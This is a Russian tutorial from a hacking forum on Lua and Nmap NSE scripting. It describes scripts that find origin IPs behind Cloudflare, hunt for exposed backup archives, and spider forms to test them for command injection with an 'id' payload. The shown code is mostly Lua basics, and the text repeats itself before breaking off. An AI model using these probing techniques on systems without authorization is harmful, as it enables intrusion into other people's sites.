Автор petrinh1988
Источник https://xss.pro
Друзья, понимаю негодование старожилов по поводу статьи из серии “введение в язык программирования…”. Самого бесят подобные статьи на этом сайте, все же не мальчики-одуванчики тут собрались, а профи и стремящиеся ими стать люди. В связи с чем, мы не будем долго запрягать, пробежимся по основным концепциям и займемся общественно полезной (ну или общественно опасной) деятельностью.
В данной статье предлагаю познакомиться с Lua. Для меня это новый язык, поэтому ожидать какие-то сложные мощные концепции здесь не стоит. Скорее это анализ синтаксиса и особенностей языка в сравнении с более менее знакомыми мне. В разные периоды мне приходилось писать на JS, Python, C#, PHP, VB. И еще кучка разного рода языков, коды на которых приходилось править/расширять.
Почему Lua? Если отбросить все лишнее, меня Lua заинтересовал возможножностью писать NSE-скрипты для Nmap и не только для него. Lua легко встраивается, создавая широкие возможности для расширения приложений. Некий аналог Javascript, который предпочитают многие разработчики. В части Nmap, появляется возможность быстро и легко писать свои чекеры, фаззеры, брутфорсеры и даже эксплоиты, на основе довольно развитой инфраструктуры. Сообщество Nmap реально мощное. Плюс, существует большое количество уже написанных скриптов, которые можно использовать для основы своих или для понимания, как работает та или иная функция.
Так как в сетях я гораздо хуже, чем в веб-уязвимостях, все примеры будут ориентированы на веб. Поэтому и статья в вебе.
Примеры писались исключительно исходя из пользы для обучения, а не реализации практических задач или демонстрации каких-то мощных методов работы. Поэтому, воспринимайте их как учебные пособия.
В Linux установка по классике: скачали архив, распаковали и запустили make. В Windows 11 процедура установки еще проще. Открываем терминал и пишем:
После этого, можно спокойно запускать интерпретатор lua через пробел указав файл который нужно запустить. Visual Studio Code из коробки поддерживает Lua:
Чтобы VS Code сразу понимал, что NSE это скрипт написанный на Lua, добавим ассоциацию. Жмем Ctrl+Shift+P, вбиваем “settings.json”. Выбираем “Open User Settings”
В открывшемся конфиге добавляем
Теперь Visual Studio прекрасно понимает с чем мы работаем и подсвечивает синтаксис
Запись ниже тоже корректна и прекрасно работает:
Фишка в том, что Lua интерпретирует код кусками (chunk). И по каким-то своим критериям, умудряется понять, где чанк начинается, где заканчивается. Хотя, конечно же, не стоит злоупотреблять подобными вещами. Не факт, что через время получится прочитать свой же код.
В самих NSE-скриптах можно встретить подобную конструкцию
В данном случае, функция всегда будет возвращать “true”.
В наименовании переменных все достаточно стандартно, начинается с буквы или подчеркивания. Можно использовать локальные символы и давать названия переменным вроде “açaí”, но есть нюанс. Если этот же код запустить на системе, на которой нет соответствующего языкового пакета, все сломается.
Типы данных у переменных динамические, как в том же Python. Я бы записал это в минусы, а не плюсы языка. Если переменная может внезапно изменить тип, нужно внимательно контролировать этот процесс иначе может случиться неприятный сюрприз.
У языка есть восемь типов данных: number(число), string(строка), boolean(логический тип), nil (тип "ничего"), table,function, userdata, thread.
Есть несколько интересных особенностей. Во-первых, числовой тип всегда представляет собой число с плавающей точкой. Но если верить авторам Lua, проблем не должно возникнуть при значениях менее ста триллионов.
В строке можно использовать, как одинарные, так и двойные кавычки. Если нужно многострочное значение, его нужно заключать в двойные квадратные скобки без кавычек:
Упс, что-то пошло не так с кодировкой… Так будет лучше:
Длина строки! Специально выделил, так как этот функционал достаточно часто используемый. Чтобы определить длину, нужно перед переменной поставить решетку “#”. Кстати, конкатенация производится при помощи двух точек:
Наверное. Самая непривычная для меня история, это булевы значения. Ложью является только “false” и “nil”, все остальное “true”, Даже “0” это “true”. Пустая строка тоже “true”
Тип “table” это некий аналог “dict” в Python. Ну или ассоциативный массив в других языках. Причем, ассоциацией может выступать, как числа, так и литеральные значения. Поддерживаются и многомерные (вложенные) таблицы. Доступ к значениям можно получить, как через квадратные скобки, так и как к свойству через точку, если индекс это литерал.
Накидал простой пример для демонстрации работы с таблицами в Lua:
Обратите внимание, что первый индекс массива “1”, а не “0”. Такова особенность Lua. При этом, ничего не мешает создать элемент [0], но он будет не нулевым по факту. При выводе циклом, видно что элемент [0] занял третью позицию.
Доломать ваш мозг? Возьму предыдущий код, уберу все лишнее и добавлю две строчки. Первая это вставка элемента через функцию table.insert(). Вторая это конкатенация элементов таблицы через table.concat()
Что происходит с “Zero Index”? Он как бы есть в таблице, но при этом выводится последним. Даже с учетом того, что добавлялся перед третьим элементом. Плюс полностью выпал из конкатенации. Но зайдем чуть дальше ))))
Есть над чем подумать))) Кстати, таблицы можно объявлять сразу как структуры:
Остались userdata и thread. Последнего мы касаться не будем, по крайней мере в этой статье, поэтому оставлю его без рассмотрения. Что касается userdata, это специализированные структуры созданные снаружи. В контексте nmap, можно посмотреть на переменную хост или порт, которые будем использовать постоянно.
По сути, это очень похоже на таблицу, но она не может существовать в рамках отдельного скрипта Lua. Только переменная созданная извне и имеющая четкий указатель на область в памяти. Как я понимаю, это переменная, которой можно оперировать, как из скрипта, так и из кода внешнего приложения.
Что интересно, зарезервированные слова это далеко не все доступные “из коробки” функции. По какой-то причине, остальные доступные по умолчанию функции, можно спокойно переопределять. Ради интереса набросал простой пример:
Что произошло с самой функций tonumber останется загадкой… Полный список стандартных функций Lua можно посмотреть здесь.
Руководство по яызку, говорит нам, что есть следующие операции сравнения:
Единственный непривычный, это ~=. По факту, это “не равно”.
Само логическое ветвление доступно в виде if:
Если нужен switch .. case, потребуется написать костыль. Нашел вот такой пример:
Циклов нам доступно несколько. Начнем с привычного for:
В данном случае, цикл выполнит 10 итераций и напечатает числа от 0 до 10. Что если нужно наоборот, пройти от 10 до 1? Просто поменять числа местами не получится — цикл снова пройдет от 0 до 10. Нужно указать отрицательный шаг:
Если количество итераций неизвестно и нужно ориентироваться на какое-то логическое условие, можно использовать “while”:
Соответственно, если нужно чтобы произошла хотя бы одна итерация цикла, можно использовать “repeat — until”
Как объявлять функции, вы уже видели:
Либо через переменную:
Функция может принимать переменное количество аргументов. Для этого используется оператор (...) и локальная переменная arg:
Проверка на то, является ли индекс числом сделана из-за последнего элемента, который имеет имя “n” и содержит в себе количество элементов таблицы arg:
Функция может возвращать несколько значений, перечисленных через запятую. При этом, их также можно получать сразу перечислив переменные тоже через запятую:
Причем, если количество элементов будет не совпадать, ничего страшного не произойдет:
В целом, данной вводной информации уже достаточно, чтобы начать писать код. Все остальное будем осваивать сталкиваясь на практике.
Важно понять простую, которую подсмотрел в одной из презентаций по программированию NSE. Структура любого скрипта включает в себя три составляющих:
The Head - это импорты нужных библиотек и переменные описывающие скрипт.
The Rule - это правила работы с портами. Они задаются через shortport
The Action - запускающая функция, которая творит магию
После импортов идет, в целом, понятная информация о скрипте: автор, описание, лицензия, категории. Данная информация, в основном, используется при запросе справочной информации через –script-help.
Список категорий, как не странно, используется при запуске скриптов по категории. Напомню, что параметр “script” может принимать, как название интересующего скрипта (включая шаблоны с звездочкой), так и путь к конкретному скрипту или категорию. Например, пихаемый почти в каждое обучение запуск
Который запускает все скрипты содержащие категорию “vuln”. В рассматриваемом выше скрипте, указана категория “malware”. Чтобы вышеуказанный скрипт запустился с другими скриптами из категории “malware”, запуск Nmap должен выглядеть примерно так:
При этом, важно чтобы скрипт лежал в “/usr/share/nmap/scripts/”. Полный список категорий можно посмотреть здесь.
Комментарии (в Lua это два тире –) используются для демонстрации примера вывода информации о скрипте. В документации указано, что каждый хороший скрипт содержит в себе пример вывода. Т.е. какого-то жесткого требования для корректной работы скрипта, нет. Можно и проигнорировать.
Исходя из вышесказанного, под “правилами” подразумевается разрешение работать с конкретным хостом и конкретным портом. В статье будем работать именно с правилами основанными на портах. По факту, мы должны указать Nmap, надо ли работать скрипту с данным портом. В скрипте выше, это делается при помощи функции port_or_service библиотеки shortport. Эта функция возвращает true в том случае, если порт доступен или на нем доступен сервис “auth”. Именно “или”, о чем нам прямо говорит “_or_” в названии функции.
shortport предоставляет набор наиболее востребованных функций для определения правил, но альтернативой может быть собственная функция определяющая правило (код подсмотрел):
В любом случае, по сути, правило это “true” или “false”. Даже если portrule содержит в себе функцию, она будет выполнена и на выходе останется только чистая логика. Соответственно, исходя из состояния переменной “portrule”, Nmap запустит функцию “action” или не запустит.
Что касается остальных тезисов, открывших этот подраздел… Nmap работает с портом. Чтобы мы не пытались сделать, вся суть сводится к отправке каких-то полезных данных на конкретный порт и получению ответа. Даже если мы будем искать SQLi через Nmap, мы отправим http-запрос на порт ассоциированный с сервисом обрабатывающим HTTP. Полученный на выходе результат, мы отдаем обратно Nmap и он выводит его, привязав его к порту.
Вот интересный пример из обхода файервола. Интересен он тем, что проверяет права с которыми запущен nmap. Если мы не привилегированный пользователь (root или sudo), мы идем нафиг:
Для примера напишу простой скрипт, который будет просто выводить бессмысленную надпись если на порту работает HTTP-сервер:
Для определения, надо ли выполнять скрипт, будет использоваться функция http. Что она делает, в целом понятно из названия — определяет, отвечает ли нам веб-сервер. Если есть, то просто выводим “101”, вернув эту строку в функции action. Выполню два запуска с разными портами:
Поздравляю! Первый скрипт написан и прекрасно работает. Но что если на выходе должна быть не одна строка, а набор данных? Поправим скрипт, заодно познакомимся с библиотекой http. Импортируем её и перепишем экшен:
Мы просто выполнили обычный GET-запрос при помощи библиотеки http. Обратно вернули полученные заголовки. rawheader - это просто пронумерованный список заголовков в том порядке и виде, в котором его вернул сервер. Альтернативой rawheader, выступает header. Разница в том, что header это ассоциативный массив. Соответственно, если мы ищем какой-то специфичный заголовок, удобнее использовать ассоциативный массив и функцию чека наподобие такой:
Судя по всему, раньше action должна была возвращать именно строку. Чтобы вернуть результат в виде таблицы (массива значений) использовалась функция format_output библиотеки stdnse. Эта функция помечена, как deprecated и можно просто возвращать таблицу. Nmap научился прекрасно справляться с разными форматами вывода. Но, если вы используете format_output, то ничего страшного не произойдет, все прекрасно отработает. Значит, хоть на каком-то уровне есть обратная совместимость. Если вам попался какой-то древний скрипт, высока вероятность, что он запустится.
Рекомендую покопаться в описании к библиотеке. Вот пример, если мы хотим следить за статусом http-ответа:
Как видно из кода выше, никаких неожиданностей в http-запросе нет. Не сложнее, чем работать с response в Python или fetch в Javascript. Но что, если нам нужно сделать что-то специфическое? Например, указать собственный заголовок. Для этого, у http.get() есть четвертый параметр “options”. В нем можно просто передать таблицу с параметрами. Например, можно ограничить таймаут, отключить редиректы или указать хидер:
Как видно, ничего сложного. Кстати, обратили внимание, что в последнем примере я вернул полностью объект “response” и nmap его прекрасно распечатал?
Прежде чем идти дальше, предлагаю подробнее взглянуть на переменные host и port, так как они представляют собой не просто значения, а структурированные данные. Для вывода информации у NSE есть специальные возможности, но раз nmap спокойно распечатывает всю информацию, почему бы не поступить просто и тупо не вернуть переменные в виде результата action?
Это информация о хосте, которую отдает nmap в функцию. А это уже port:
Для сравнения, вывод если использовать не ip, а hostname:
Снова скажем спасибо c0d3x за отличную инструкцию и начнем реализовывать её часть. Часть по той причине, что у меня нет адекватного способа автоматически получить все необходимые данные. Нам нужно вытащить историю IP-адресов, отсеять всякие клоудфлары, получить подсети и просканировать их. Рационально, в полностью автоматиеском режиме, мы можем выполнить только последнюю часть.
Как вариант, можно было бы заморочиться и прикрутить работу с сервисами через API. Но тогда, нам пришлось бы вступить в конфликт с многопоточностью nmap. У nmap свой механизм управления параллельными потоками. Если он может наращивать их, он их наращивает. В какой-то момент, если начинаются проблемы с получением ответов, nmap сокращает эти потоки. И тут мы пытаемся впихнуть свой функционал, который предполагает предварительное получение данных и продолжительную последующую работу с полученными подсетями. Да, в библиотеке stdnse есть метод для создания новых потоков (new_thread), но все же его стоит применять не в таких масштабах.
Nmap прекрасно работает с подсетями, поэтому составит свои списки IP-адресов, после его каждый IP проверит на соответствие portrule и передаст на чек в action нашего NSE-скрипта.
Поэтому, принцип работы будет такой:
При этом подходе, обработка каждого отдельного IP вписывается в общий механизм работы Nmap и не нарушает никакой логики.
Для начала вспомним, как запускать Nmap с NSE-скриптами и передавать в него аргументы. Для этого есть два варианта: прописать аргументы строкой или передать их в файле. Пример передачи параметров через строку:
Пример файла с аргументами:
Запуск nmap с указанием файла с аргументами скрипта:
Начнем с импортов. Базово скрипт очень похож на то, что писали выше, когда выполняли http.get(). Но потребуется еще две библиотеки.
Nmap поможет получить переданные скрипту аргументы. Не важно каким способом это сделано, строкой или через файл. В библиотеке string, как понятно из названия, все необходимое для работы со строками. В нашем случае, потребуется метод match для поиска вхождения подстроки в полученном ответе.
В данном случае, мы не заморачиваемся по поводу SSL и прочих нюансов. Нам даже не придется делать отдельных запросов для http и https. Мы даже можем не указывать конкретные порты, а использовать “-p-”, тогда сможем найти сервер на каком бы порте не висел web-сервер. Главное, чтобы nmap смог понять, что мы имеем дело с вебом.
Попробуем запустить и посмотреть на результат:
Работает. Ура) Можно спокойно подгрузить список подсетей, дать имя хоста и искомый текст, после чего получить расклад по всем айпи входящим в диапазоны.
Не обязательно реализовывать работу через http. Можно пойти другим путем, используя библиотеку comm и её функции opencon() и exchange(). Эти функции позволяют открыть соединение и отправить данные.
Суть задачи очень похожа на предыдущую. Нужно выполнить запрос, указав вместо пути потенциально интересное название файла. Но помимо этого, мы поработаем с файлами и еще некоторыми полезными моментами.
Первое новшество, это то как я получаю аргументы скрипта. Если раньше это было:
В этот раз использовал:
Данный способ особенно хорош, когда нужно получить много параметров с множественным присваиванием:
Открыли файл для чтения, далее в цикле читаем его построчно. Есть альтернатива, можно вместо “*l” указать “*a” и прочитать сразу весь файл. Кстати, можно использовать конкретное количество строк, а также полные названия литералов “*line” и “*all”. Подробнее можно почитать в справке по io Lua.
Что касается двоеточия, это способ вызывать методы класса. Когда мы открыли файл, в f получили объект файла. Раз f это объект, значит с ним нужно работать как с объектом. Я не затрагивал работу с классами, так как не вижу смысла в рамках статьи погружаться в ООП Lua. Мы задеваем его по минимуму. Просто для примера приведу код, который создает класс Parallelogram:
Вернемся к нашему коду. Еще одно “новшество”, вместо конструкции “~= nil”, использовал другой тип проверки на отсутствие значения:
Функция gsub библиотеки string, заменяет значение в строке. Нам это нужно для того, чтобы избавиться от “\x0D”. При чтении из файла, мы получаем строки вместе со специальными символами. В искомых параметрах указано ‘%c’, что означает любой спецсимвол. Подобные текстовые шаблоны можно посмотреть здесь
Для демонстрации оставил в коде вывод информации в дебагер
Чтобы информация начала выводиться, nmap нужно запустить с параметром “-d”:
Осталось выполнить запрос и обработать ответ:
Мы получаем 1024 байта. Этого более чем достаточно, чтобы понять, то ли получили или не то. Если нам отдали какой-то файл, мы получим статус 206 (часть контента). Любой другой статус нам не интересен. Что это за архив размером менее килобайта?
Вывод информации выполнен через string.format. Вывожу информацию не только о коде ответа, но и тип контента. Если мы ищем архив, нам подойдет достаточно ограниченный набор вариантов. Соответственно, на этапе проверки результатов можем выбрать только подходящие нам. Тоже с длинной ответа.
Нас интересует эта форма:
Что приятно, форма четко описана. Есть метод, кнопка представляет собой кнопку с типом “submit”, элементы ввода тоже в порядке. Но как добраться до формы в боевых условиях? Познакомимся с пауком. Для этого потребуется подключить библиотеку "httpspider". Напишем простой сборщик форм. Наш паук должен обойти все доступные ссылки в рамках хоста и получить формы.
Это базовая структура нашего скрипта. В данном случае, для определения portrule использую port_or_service. Нас интересует, либо порты 80 и 443, либо сервис связанный с htps или https.
Сначала нужно создать объект паука и задать свойства. Стандартно для nmap, передаем хост, порт и путь. Из нового, константа SCRIPT_NAME. Хотя, учитывая особенности Lua, это скорее предопределенная переменная, а не константа.
Когда паук готов, запускаем бесконечный цикл. Каждую итерацию, выполняем запрос методом crawl(). Далее проверяем ответ. Если все плохо, выходим. Если все хорошо, у нас есть ответ, у ответа есть тело и статус ответа 200, значит у нас есть все необходимое для поиска форм. Сделаем тестовый запуск и посмотрим, какие пути соберет паук
Супер! Можно переходить к парсингу форм. Что приятно, процесс получения форм очень даже простой:
При помощи grab_forms() получаем все формы на полученной странице. После обходим каждую форму в отдельности и парсим отдельные элементы формы На выходе у нас очень крутой объект:
Когда я впервые увидел этот объект, я безумно обрадовался. Осталось только сформировать из этих данных запрос, выполнить его и проанализировать ответ. Но разве может все пойти идеально? Конечно нет! Tсли внимательно присмотреться, становится видна проблема…
Парсер форм тупо не увидел селекта и доступных значений. Попытка выполнить запрос без указания переменной, приведет к следующей ошибке:
Нужно написать свой хук, который чекнет наличие в форме select, проверит его отсутствие в распаршенных полях и добавит недостающие. grab_forms дал нам строку, содержащую в себе html-код формы. Нужно просто вычленить из нее часть относящуюся к селекту и распарсить её.
На выходе получаем ожидаемый текст:
Нам нужно вытащить имя и значения опций. Нужно написать подходящие шаблоны для матча. Вообще, шаблонам можно посвятить отдельную строку. Это некий аналог регулярных выражений в Lua, который имеет свою логику. Статьи отдельной не получится, так как я далеко не разобрался с шаблонами. Исключительно путем безумных стараний пришел вот к такому способу вычленить name:
local select_name = selects_html:match('name=[\'"](%w+)[\'"]')
Значение опций вытащим точно таким же способом, но при помощи бесконечного цикла. По хорошему и поиск селектов должен быть в цикле, ведь их может быть несколько внутри формы. Ном мы ведь учимся. Пример кода я даю, можете его экстраполировать и допилить инструмент:
Кстати, по хорошему, в библиотеке http есть функция get_attr(), которая должна была нас спасти от написания собственных шаблонов. Но что-то снова пошло не так, функция категорически отказалась делать то, что мне нужно. Возможно, из-за этой же проблемы пришлось писать весь этот код расширяющий объект с полями формы… ведь по какой-то причине стандартный парсер форм не увидел селект.
Полный код функции парсинга выглядит следующим образом:
При помощи нашей функции, мы расширили объект с полями, добавив в него недостающие селекты. При этом, установив значение в первое возможное. Самое время переходить к проверке уязвимости. Для этого написал еще одну функцию:
Циклом проходим по всем полям. Каждую итерацию формируем запрос, после чекаем результат на интересующую нас строку. Как тестовую команду выбрал “id”, так как её вывод шаблонный и предсказуемый. Можно было бы взять, например, “ls”. Но тогда пришлось бы делать предзапрос, который был бы эталоном длины ответа и сравнивать с ним результаты отправки пэйлоада. В этом случае, даже если сервер возвращал бы нам сообщение об ошибке (спалил нас), у нас все равно была бы полезная для пользователя информация и это уже было бы продвижение в проникновении.
Осталось внести небольшие изменения в главный цикл и все готово:
Да, вывод дублируется, так как каждая карточка товара для nmap есть отдельная форма. Это можно исправить, добавив проверку на существование вхождения.
Если вы внимательно посмотрите на использованные нами библиотеки и список выше, вы заметите одну странную деталь - некоторых библиотек нет в списке выше. Если точнее: string, io, table. Все дело в том, что это стандартные библиотеки Lua. Учитывая, что он встроен в nmap, нам нужно прямо указать на необходимость использовать их.
Возможности Nmap действительно широки. Плюсом идет большое количество уже готовых скриптов, в которых можно найти большое количество примеров использования разных функций. В моменты, когда мне непонятно было как использовать какую-то функцию, я просто производил поиск текста по файлам среди готовых NSE.
Надеюсь статья была полезна. Я принципиально оставил всю хронологию собственного погружения в Lua и NSE. Следующую статью планирую по написанию своих скриптов для Metasploit.
Источник https://xss.pro
Друзья, понимаю негодование старожилов по поводу статьи из серии “введение в язык программирования…”. Самого бесят подобные статьи на этом сайте, все же не мальчики-одуванчики тут собрались, а профи и стремящиеся ими стать люди. В связи с чем, мы не будем долго запрягать, пробежимся по основным концепциям и займемся общественно полезной (ну или общественно опасной) деятельностью.
В данной статье предлагаю познакомиться с Lua. Для меня это новый язык, поэтому ожидать какие-то сложные мощные концепции здесь не стоит. Скорее это анализ синтаксиса и особенностей языка в сравнении с более менее знакомыми мне. В разные периоды мне приходилось писать на JS, Python, C#, PHP, VB. И еще кучка разного рода языков, коды на которых приходилось править/расширять.
Почему Lua? Если отбросить все лишнее, меня Lua заинтересовал возможножностью писать NSE-скрипты для Nmap и не только для него. Lua легко встраивается, создавая широкие возможности для расширения приложений. Некий аналог Javascript, который предпочитают многие разработчики. В части Nmap, появляется возможность быстро и легко писать свои чекеры, фаззеры, брутфорсеры и даже эксплоиты, на основе довольно развитой инфраструктуры. Сообщество Nmap реально мощное. Плюс, существует большое количество уже написанных скриптов, которые можно использовать для основы своих или для понимания, как работает та или иная функция.
Так как в сетях я гораздо хуже, чем в веб-уязвимостях, все примеры будут ориентированы на веб. Поэтому и статья в вебе.
Примеры писались исключительно исходя из пользы для обучения, а не реализации практических задач или демонстрации каких-то мощных методов работы. Поэтому, воспринимайте их как учебные пособия.
Технические штуки
Писать мы будем для встроенного интерпретатора nmap, поэтому установка Lua в целом не обязательна. Это нужно исключительно для того, чтобы можно было запускать отдельные куски команд, чтобы посмотреть как себя ведет тот или иной код, чтобы понять логику Lua в целом.В Linux установка по классике: скачали архив, распаковали и запустили make. В Windows 11 процедура установки еще проще. Открываем терминал и пишем:
Код:
winget install "Lua for Windows"
После этого, можно спокойно запускать интерпретатор lua через пробел указав файл который нужно запустить. Visual Studio Code из коробки поддерживает Lua:
Чтобы VS Code сразу понимал, что NSE это скрипт написанный на Lua, добавим ассоциацию. Жмем Ctrl+Shift+P, вбиваем “settings.json”. Выбираем “Open User Settings”
В открывшемся конфиге добавляем
Код:
"files.associations": {
"*.nse": "lua"
}
Теперь Visual Studio прекрасно понимает с чем мы работаем и подсвечивает синтаксис
Основы Lua
Первое впечатление двоякое. Какая-то странная помесь Turbo Pascal и Python. Причем, достаточно своеобразная, так как конструкция ниже прекрасно сработает. Это при том, что никаких разделений, вроде точки с запятой, в ней нет и все написано в одну строку:
Код:
a = 5 b =2 print(a+b)
Запись ниже тоже корректна и прекрасно работает:
Код:
a = 8; b =2; print(a+b)
Фишка в том, что Lua интерпретирует код кусками (chunk). И по каким-то своим критериям, умудряется понять, где чанк начинается, где заканчивается. Хотя, конечно же, не стоит злоупотреблять подобными вещами. Не факт, что через время получится прочитать свой же код.
В самих NSE-скриптах можно встретить подобную конструкцию
Код:
hostrule = function() return true end
В данном случае, функция всегда будет возвращать “true”.
Переменные
Начнем с переменных, с ними все очень просто. Объявлять переменную отдельно не нужно, достаточно присвоения и можно сразу начинать пользоваться. При этом, если случайно попытались работать с переменной, которая не была объявлена, ошибки не произойдет. Переменная, которой нет, представляет собой “nil”. Если переменная уже не нужна и важно её удалить, достаточно снова присвоить ей “nil”.В наименовании переменных все достаточно стандартно, начинается с буквы или подчеркивания. Можно использовать локальные символы и давать названия переменным вроде “açaí”, но есть нюанс. Если этот же код запустить на системе, на которой нет соответствующего языкового пакета, все сломается.
Типы данных у переменных динамические, как в том же Python. Я бы записал это в минусы, а не плюсы языка. Если переменная может внезапно изменить тип, нужно внимательно контролировать этот процесс иначе может случиться неприятный сюрприз.
У языка есть восемь типов данных: number(число), string(строка), boolean(логический тип), nil (тип "ничего"), table,function, userdata, thread.
Есть несколько интересных особенностей. Во-первых, числовой тип всегда представляет собой число с плавающей точкой. Но если верить авторам Lua, проблем не должно возникнуть при значениях менее ста триллионов.
В строке можно использовать, как одинарные, так и двойные кавычки. Если нужно многострочное значение, его нужно заключать в двойные квадратные скобки без кавычек:
Код:
text = [[
Любой текст,
В кучу строк
С двойными “кавычками”
C ‘одинарными’ кавычками
]]
Упс, что-то пошло не так с кодировкой… Так будет лучше:
Длина строки! Специально выделил, так как этот функционал достаточно часто используемый. Чтобы определить длину, нужно перед переменной поставить решетку “#”. Кстати, конкатенация производится при помощи двух точек:
Наверное. Самая непривычная для меня история, это булевы значения. Ложью является только “false” и “nil”, все остальное “true”, Даже “0” это “true”. Пустая строка тоже “true”
Тип “table” это некий аналог “dict” в Python. Ну или ассоциативный массив в других языках. Причем, ассоциацией может выступать, как числа, так и литеральные значения. Поддерживаются и многомерные (вложенные) таблицы. Доступ к значениям можно получить, как через квадратные скобки, так и как к свойству через точку, если индекс это литерал.
Накидал простой пример для демонстрации работы с таблицами в Lua:
Обратите внимание, что первый индекс массива “1”, а не “0”. Такова особенность Lua. При этом, ничего не мешает создать элемент [0], но он будет не нулевым по факту. При выводе циклом, видно что элемент [0] занял третью позицию.
Доломать ваш мозг? Возьму предыдущий код, уберу все лишнее и добавлю две строчки. Первая это вставка элемента через функцию table.insert(). Вторая это конкатенация элементов таблицы через table.concat()
Что происходит с “Zero Index”? Он как бы есть в таблице, но при этом выводится последним. Даже с учетом того, что добавлялся перед третьим элементом. Плюс полностью выпал из конкатенации. Но зайдем чуть дальше ))))
Код:
function printTable(x)
for key,value in pairs(x) do
print('['..key.."] = " .. value)
end
print(table.concat(x, ','))
end
new_table = {1, "b"}
new_table[0] = 'Zero Index'
table.insert(new_table, 'baba')
printTable(new_table)
new_table[4] = 'Hello'
table.insert(new_table, 'World')
printTable(new_table)
Есть над чем подумать))) Кстати, таблицы можно объявлять сразу как структуры:
Код:
new_table = { name="hacker", value="1337", hello_world="101"}
Остались userdata и thread. Последнего мы касаться не будем, по крайней мере в этой статье, поэтому оставлю его без рассмотрения. Что касается userdata, это специализированные структуры созданные снаружи. В контексте nmap, можно посмотреть на переменную хост или порт, которые будем использовать постоянно.
По сути, это очень похоже на таблицу, но она не может существовать в рамках отдельного скрипта Lua. Только переменная созданная извне и имеющая четкий указатель на область в памяти. Как я понимаю, это переменная, которой можно оперировать, как из скрипта, так и из кода внешнего приложения.
Область видимости
Все переменные, по умолчанию, являются глобальными. Насколько я понимаю, существует два пространства имен _ENV и _G. Каждая новая переменная, а по сути именованная часть памяти, помещается в одно из этих пространств имен при первом “соприкосновении” интерпретатора с ней. Без явного указания “local” при первом присваивании, переменная становится глобальной.Зарезервированные слова:
Поняв, как устроены переменные, предлагаю посмотреть на список зарезервированных слов:
Код:
and break do else elseif
end false for function if
in local nil not or
repeat return then true until
while
Что интересно, зарезервированные слова это далеко не все доступные “из коробки” функции. По какой-то причине, остальные доступные по умолчанию функции, можно спокойно переопределять. Ради интереса набросал простой пример:
Что произошло с самой функций tonumber останется загадкой… Полный список стандартных функций Lua можно посмотреть здесь.
Последние нюансы
Чтобы начать программировать, нам осталось познакомиться с синтаксисом управляющих конструкций и некоторыми операторами сравнения. Все остальное будем осваивать по пути.Руководство по яызку, говорит нам, что есть следующие операции сравнения:
Код:
< > <= >= == ~=
Единственный непривычный, это ~=. По факту, это “не равно”.
Само логическое ветвление доступно в виде if:
Код:
If condition then
…
elseif condition then
…
else
…
end
Если нужен switch .. case, потребуется написать костыль. Нашел вот такой пример:
Код:
local value = 1
local switch = {
[1] = function()
print("The value is 1")
end,
[10] = function()
print("The value is 10")
end,
["default"] = function()
print("Unknown value")
end
}
if switch[value] then
switch[value]()
else
switch["default"]()
end
Циклов нам доступно несколько. Начнем с привычного for:
Код:
for i=0,10 do print(i) end
В данном случае, цикл выполнит 10 итераций и напечатает числа от 0 до 10. Что если нужно наоборот, пройти от 10 до 1? Просто поменять числа местами не получится — цикл снова пройдет от 0 до 10. Нужно указать отрицательный шаг:
Код:
for i=10,0,-1 do print(i) end
Если количество итераций неизвестно и нужно ориентироваться на какое-то логическое условие, можно использовать “while”:
Код:
while(condition)
do
…
statement(s)
…
end
Соответственно, если нужно чтобы произошла хотя бы одна итерация цикла, можно использовать “repeat — until”
Код:
repeat
…
statement(s)
…
until( condition )
Как объявлять функции, вы уже видели:
Код:
function(income_variables)
…
statement(s)
…
return value
end
Либо через переменную:
Код:
add = function(a,b) return a+b end
print(add(1,2))
Функция может принимать переменное количество аргументов. Для этого используется оператор (...) и локальная переменная arg:
Код:
function add(...)
local result = 0
for index,value in pairs(arg) do
print(index, value)
if tonumber(index) ~= nil then
result = result + tonumber(value)
end
end
return 'Result is ' .. result
end
print(add(1,2,3,4))
Проверка на то, является ли индекс числом сделана из-за последнего элемента, который имеет имя “n” и содержит в себе количество элементов таблицы arg:
Функция может возвращать несколько значений, перечисленных через запятую. При этом, их также можно получать сразу перечислив переменные тоже через запятую:
Причем, если количество элементов будет не совпадать, ничего страшного не произойдет:
Код:
a,b,c = 13,37
print(a,b,c)
В целом, данной вводной информации уже достаточно, чтобы начать писать код. Все остальное будем осваивать сталкиваясь на практике.
Знакомство с NSE
Чтобы лучше понять скрипты, предлагаю посмотреть на уже существующие. Для этого идеально подойдет скрипт “/usr/share/nmap/scripts/auth-spoof.nse”. Он один из самых коротких, а значит содержит необходимый минимум:
Важно понять простую, которую подсмотрел в одной из презентаций по программированию NSE. Структура любого скрипта включает в себя три составляющих:
The Head - это импорты нужных библиотек и переменные описывающие скрипт.
The Rule - это правила работы с портами. Они задаются через shortport
The Action - запускающая функция, которая творит магию
The Head
Первое, это импорты. В данном случае, подключаются две библиотеки: comm (сокращение от common) и shortport. Полный список доступных библиотек лежит здесь. Всего их 138 штук, но наиболее важные: nmap, shortport, stdnse. Мы будем практически постоянно их использовать.После импортов идет, в целом, понятная информация о скрипте: автор, описание, лицензия, категории. Данная информация, в основном, используется при запросе справочной информации через –script-help.
Список категорий, как не странно, используется при запуске скриптов по категории. Напомню, что параметр “script” может принимать, как название интересующего скрипта (включая шаблоны с звездочкой), так и путь к конкретному скрипту или категорию. Например, пихаемый почти в каждое обучение запуск
Код:
nmap –script vuln
Который запускает все скрипты содержащие категорию “vuln”. В рассматриваемом выше скрипте, указана категория “malware”. Чтобы вышеуказанный скрипт запустился с другими скриптами из категории “malware”, запуск Nmap должен выглядеть примерно так:
Код:
nmap –script malware …
При этом, важно чтобы скрипт лежал в “/usr/share/nmap/scripts/”. Полный список категорий можно посмотреть здесь.
Комментарии (в Lua это два тире –) используются для демонстрации примера вывода информации о скрипте. В документации указано, что каждый хороший скрипт содержит в себе пример вывода. Т.е. какого-то жесткого требования для корректной работы скрипта, нет. Можно и проигнорировать.
The Rule
Надо помнить, что nmap это сканер портов на хосте. Соответственно, все скрипты должны подключаться к открытым портам и взаимодействовать с ними. Все результаты должны ассоциироваться с конкретными портами.Исходя из вышесказанного, под “правилами” подразумевается разрешение работать с конкретным хостом и конкретным портом. В статье будем работать именно с правилами основанными на портах. По факту, мы должны указать Nmap, надо ли работать скрипту с данным портом. В скрипте выше, это делается при помощи функции port_or_service библиотеки shortport. Эта функция возвращает true в том случае, если порт доступен или на нем доступен сервис “auth”. Именно “или”, о чем нам прямо говорит “_or_” в названии функции.
shortport предоставляет набор наиболее востребованных функций для определения правил, но альтернативой может быть собственная функция определяющая правило (код подсмотрел):
Код:
local nmap = require("nmap")
portrule = function(host, port)
local auth_port = { number = 113, port = "tcp"}
